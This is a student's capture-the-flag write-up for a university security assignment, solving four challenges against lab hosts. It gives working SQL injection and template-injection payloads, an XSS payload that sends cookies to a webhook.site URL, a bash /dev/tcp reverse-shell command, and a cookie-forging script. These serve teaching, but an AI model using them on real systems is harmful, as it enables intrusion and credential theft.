

CS 431: Computer and Network Security Assignment 4

password

Flag : e4syp4asy1234

I first tried random credentials, which gave no fruitful result. Then I thought what if i can break the program by passing in a null character, so i executed: `printf "password\x00test\n" | nc 10.0.118.48 30366`. That resulted in a value error. And the traceback revealed that it is a SQL injection sort of an attack. Then I tried the trivial SQLi payload, ' OR 1=1. This did not work then I tried changing quote to double quote. That also didn't work. Finally without quotes, or 1=1 worked. That dumped the table, and we get the password in the row where username is admin.

the usual suspects

Flag : dL@stCTF431{h3r3_i_4m}

(Note: while copying the flag, underscores are not copied. Some latex issue)

Notice that, we can perform SSTI (server side template injection), in the url of the challenge.

`http://10.0.118.48:30379/?icecream={{""; custom_code_here}}}`. So we try to dump the `globals()` but that just reveals that the app is most probably a tornado client. Next I try to dump the dict of `__main__`. Doing that using, `http://10.0.118.48:30379/?icecream={{__import__('sys').modules['__main__'].__dict__}}`, we get our flag. Also I noticed that there is a secret, "MangoDB". Looking at the cookies, I realised that this was not the intended way to solve it. I think, what we had to do was, change the cookie to set admin to true (base64 encoded) and sign the cookies using the secret. (As required by tornado client). The only thing remaining was to find the secret in some other way, rather than seeing the dict of `__main__`. Looking online, I found that the secret is stored in tornado application itself, and from `globals()`, I already got the application. So I just had to look for `http://10.0.118.48:30379/?icecream={{application.settings}}`. Then we simply forge the cookie, with admin set to true, and we get the flag.

Note: In this problem itself, going to

`http://10.0.118.48:30379/?icecream={{__import__('os').popen('cd /tmp && cat flag3').read()}}`, gives us the cookie for the next challenge, and decoding it we get the flag for the next problem, the-confused-deputy

the-confused-deputy

Flag : dL@stCTF431{cssxss}

Viewing the source code, we see that there is a hidden input field, which is of password type, separate from the color input. Also, whatever input comes to the color text box, is first sanitized by the `sanitize()` function, however that just removes the first occurrence of `<` and `>`. So we can bypass that by specifying, `<>payload`. Trying `<>#green;</style><script>alert(1);</script> //`, did not work, however, `<>#green;</style>` worked and I achieved javascript code execution. Next we go to the '/admin' page, put the link to visit as `http://10.0.118.48:7777/view`, and supply our crafted payload using [webhook.site](#), `<>green;</style><img src='lol' onerror="new Image().src='https://webhook.site/94b44b45-f1e3-4ec1-9d81-2d39c7de1a38?c='+ btoa(document.cookie)">`. The admin visits the page, and fills in this url, which sends the cookie to our webhook, we decode it from base64, to get the password, as dL@stCTF431{cssxss}.

body count

Flag : dL@stCTF431{1nj3ct10n_15_p41nful}

(Note: while copying the flag, underscores are not copied. Some latex issue)

Once we load the challenge url, we observe that it is a php site, and there is a file, called `?file=wc.php`, so that gives us a hint that, there might be some other files on the server that can be looked into. Searching online for how to dump files using php, I found, [a medium article](#), that tells us we can use php filters. Dumping the entire code of `wc.php`, using `?file=php://filter/convert.base64-encode/resource=wc.php`. We observe that RCE is possible, as

`exec('printf %s . $text . '| wc -c')` is present, and it takes in any input without sanitizing it. But first, we need the password. Looking at `/robots.txt`, to find any disallowed paths, we get the password from dumping the contents of `checkpass.php`, using, `/?file=php://filter/convert.base64-encode/resource=checkpass.php`. We finally get access to the `wc` program, and we can run any code we like using this payload `'&& our_command #'`. We try to get a reverse shell, using revhells.com, we start a `nc` listener on our host machine, `nc -lvp 9001`, and send the payload, `'&& bash -c "bash -i >& /dev/tcp/10.7.12.140/9001 0>&1"; #'` to the `wc.php` program.

Once we get a reverse shell, we can finally execute commands. Looking into the `/tmp` directory, we observe that we don't have enough permissions. There are flags in the default directory as well, however no permissions to read them. We do `cat /etc/passwd`, and observe that a user named `ctf` is there, and there is also a directory `/ctf`. Peeping into that, we get a `readme` file and a whole bunch of nested folders. Reading the `README`, we get the `md5` hash of the password. Running that through [md5 decrypt](#), we get our password, `cnsctf`. We then run `su ctf`, to switch to the `ctf` user (after entering the password). Then moving through the directories in `/ctf` directory, we arrive at the flag: `cat /ctf/system/of/a/down/flag.txt`, which gives us the flag.

Problem 1

```
C:\Users\GSRAJA>nc
jsh@LAPTOP-G38HQLEP:/mnt/c/Users/GSRAJA$ printf "password\x00test\n" | nc 10.0.118.48 30366
Enter your password:
> Traceback (most recent call last):
  File "ques.py", line 37, in <module>
    results = conn.execute(sql).fetchall()
ValueError: the query contains a null character
jsh@LAPTOP-G38HQLEP:/mnt/c/Users/GSRAJA$

jsh@LAPTOP-G38HQLEP:/mnt/c/Users/GSRAJA/Desktop/ITI GN/sem6/CS 431/Assignments/Assignment 5/prob 1$ nc 10.0.118.48 30366
> or 1-1

Nice one! You cracked the code! See what you found:
(1, "Acid Burn", "52c3d9f4b1e0a2b8c5f6d7e8f9a0b1c2d3e4f5g6h7")
(2, "Phantom Phreak", "d4e5f6a7b8c9d0e1f2g3h4i5j6k7l8m9n0p1q2r3s4")
(3, "Lord Nikon", "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1")
(4, "admin", "e4syp4asy1234")
(5, "The Plague", "d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6g7h8i9j0k1l2m3")
(6, "Crash Override", "b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7g8h9i0j1k2l3m4")
(7, "Cereal Killer", "c3d4e5f6a7b8c9d0e1f2g3h4i5j6k7l8m9n0p1q2r3s4t5u6")
```

Problem 2

Hey, wanna know how I rate some ice-cream flavours?

chocolate
Submit

```
{
  '__name__': '__main__',
  '__doc__': None,
  '__package__': None,
  '__loader__': <frozen_importlib_external.SourceFileLoader object at 0x7f3a7d04c5d0>,
  '__spec__': None,
  '__annotations__': {},
  '__builtins__': <module 'builtins' (built-in)>,
  '__file__': 'server.py',
  '__cached__': None,
  'tornado': <module 'tornado' from '/usr/local/lib/python3.7/site-packages/tornado/__init__.py'>,
  'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>,
  'pwd': <module 'pwd' (built-in)>,
  'grp': <module 'grp' from '/usr/local/lib/python3.7/lib-dynload/grp.cpython-37m-x86_64-linux-gnu.so'>,
  'drop_privileges': <function drop_privileges at 0x7f3a7cfe3b0>,
  '__warningregistry__': {'version': 0},
  'flag': 'dL@stCTF431{h3r3_i_4m}',
  'secret': 'MangoDB'n',
  'disabled_exit': <function disabled_exit at 0x7f3a7c3e88c0>,
  'TEMPLATE': 'n<html>n<head>n<title>n</title>n</head>n<body style="background: #00FFFF;text-align:center;">n<h1 style="font-size:5rem;">n</h1>n<h2 style="font-size:4rem;">n</h2>n<h3 style="font-size:3rem;">n</h3>n<h4 style="font-size:2rem;">n</h4>n<h5 style="font-size:1.5rem;">n</h5>n<h6 style="font-size:1.2rem;">n</h6>n<h7 style="font-size:1.1rem;">n</h7>n</body>n</html>n',
  'MainHandler': <class 'main.MainHandler'>,
  'application': <tornado.web.Application object at 0x7f3a7d04c610>
}
```

chocolate
Submit

```
{
  'debug': True,
  'static_path': None,
  'template_path': None,
  'cookie_secret': 'MangoDB'n',
  'autoreload': True,
  'compiled_template_cache': False,
  'static_hash_cache': False,
  'serve_traceback': True
}
```

Oh I heard you're looking for my secret.
dL@stCTF431{h3r3_i_4m}

Problem 4

```
- $ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.0.118.48 53420
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@e91b1e4fc1de:/var/www/html$
```

```
var
www-data@e91b1e4fc1de:/$ cd tmp
cd tmp
www-data@e91b1e4fc1de:/tmp$ ls
ls
ls: cannot open directory '.': Permission denied
www-data@e91b1e4fc1de:/tmp$ whoami
whoami
www-data
www-data@e91b1e4fc1de:/tmp$
```

```
www-data@e91b1e4fc1de:/ctf$ ls -l
ls -l
total 48
-rwxr-xr-x. 1 root ctf 54 Jun 26 2025 README
drwxr-xr-x. 1 root ctf 4096 Apr 3 12:49 avenged
drwxr-xr-x. 1 root ctf 4096 Apr 3 12:49 dream
-rwxr-xr-x. 1 root ctf 72 Jun 26 2025 findaas
drwxr-xr-x. 1 root ctf 4096 Apr 3 12:49 led
drwxr-xr-x. 1 root ctf 4096 Apr 3 12:49 system
www-data@e91b1e4fc1de:/ctf$ cat README
cat README
My password hash is 07e6b9849342c7e354bc9a90889af19e.
www-data@e91b1e4fc1de:/ctf$
```

```
findaas
led
system
cd system
ls
of
cd of
ls
a
cd a
ls
down
cd down
ls
flag.txt
cat flag.txt
dL@stCTF431{1nj3ct10n_15_p41nfu1}
```

Source Code (Problem 2): forge.py

```
import hashlib
import hmac

def build_message(parts):
    result = b""
    for i, p in enumerate(parts):
        if isinstance(p, str):
            p = p.encode()
        if p is None:
            p = b""
        if i != 0:
            result += b"|"
        if i == 0 or p == b"":
            result += p
        else:
            length = str(len(p)).encode()
            result += length + b": " + p
    return result

def sign_data(secret, data):
    if isinstance(secret, str):
        secret = secret.encode()
    if isinstance(data, str):
        data = data.encode()

    mac = hmac.new(secret, digestmod=hashlib.sha256)
    mac.update(data)
    return mac.hexdigest().encode()

msg = build_message([b"2", "0", "1775950021", "admin", "dHJ1ZQ==", b""])
sig = sign_data("MangoDB\n", msg)

print((msg + sig).decode())
```